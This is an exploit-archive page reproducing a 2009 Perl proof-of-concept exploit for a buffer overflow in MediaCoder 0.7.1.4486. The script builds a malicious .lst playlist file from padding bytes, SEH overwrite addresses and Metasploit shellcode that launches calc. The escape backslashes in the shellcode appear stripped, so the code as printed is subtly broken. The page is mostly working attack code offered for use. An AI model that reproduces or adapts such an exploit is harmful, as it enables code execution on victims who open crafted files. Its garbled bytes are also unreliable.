[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MediaCoder 0.7.1.4486 (.lst) Universal Buffer Overflow Exploit (SEH)
# Published : 2009-08-04
# Author : germaya_x
# Previous Title : Linux Kernel <= 2.6.31-rc5 sigaltstack 4-Byte Stack Disclosure Exploit
# Next Title : BlazeDVD 5.1/HDTV Player 6.0 (.PLF File) Universal BOF Exploit (SEH)
#!/usr/bin/perl
#[+] Bug : MediaCoder 0.7.1.4486 (.lst) Universal Buffer overflow (SEH)
#[+] Author : germaya_x
#[+] Greetz : hack4love
#[+] tested on: sp3 (EN)
##########################################################
# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"x31xc9x83xe9xdexd9xeexd9x74x24xf4x5bx81x73x13x38".
"x78x73x8ax83xebxfcxe2xf4xc4x90x37x8ax38x78xf8xcf".
"x04xf3x0fx8fx40x79x9cx01x77x60xf8xd5x18x79x98xc3".
"xb3x4cxf8x8bxd6x49xb3x13x94xfcxb3xfex3fxb9xb9x87".
"x39xbax98x7ex03x2cx57x8ex4dx9dxf8xd5x1cx79x98xec".
"xb3x74x38x01x67x64x72x61xb3x64xf8x8bxd3xf1x2fxae".
"x3cxbbx42x4ax5cxf3x33xbaxbdxb8x0bx86xb3x38x7fx01".
"x48x64xdex01x50x70x98x83xb3xf8xc3x8ax38x78xf8xe2".
"x04x27x42x7cx58x2exfax72xbbxb8x08xdax50x88xf9x8e".
"x67x10xebx74xb2x76x24x75xdfx1bx12xe6x5bx78x73x8a";
my $junk="x41" x 768;
my $next_seh="x87x51x37x00"; # jmp esp in sdl.dll
my $seh="x31x66x66x31"; # pop pop ret->mediacoder.exe
open(myfile,'>>exploit.lst');
print myfile $junk.$next_seh.$seh.$shellcode;
# www.Syue.com [2009-08-04]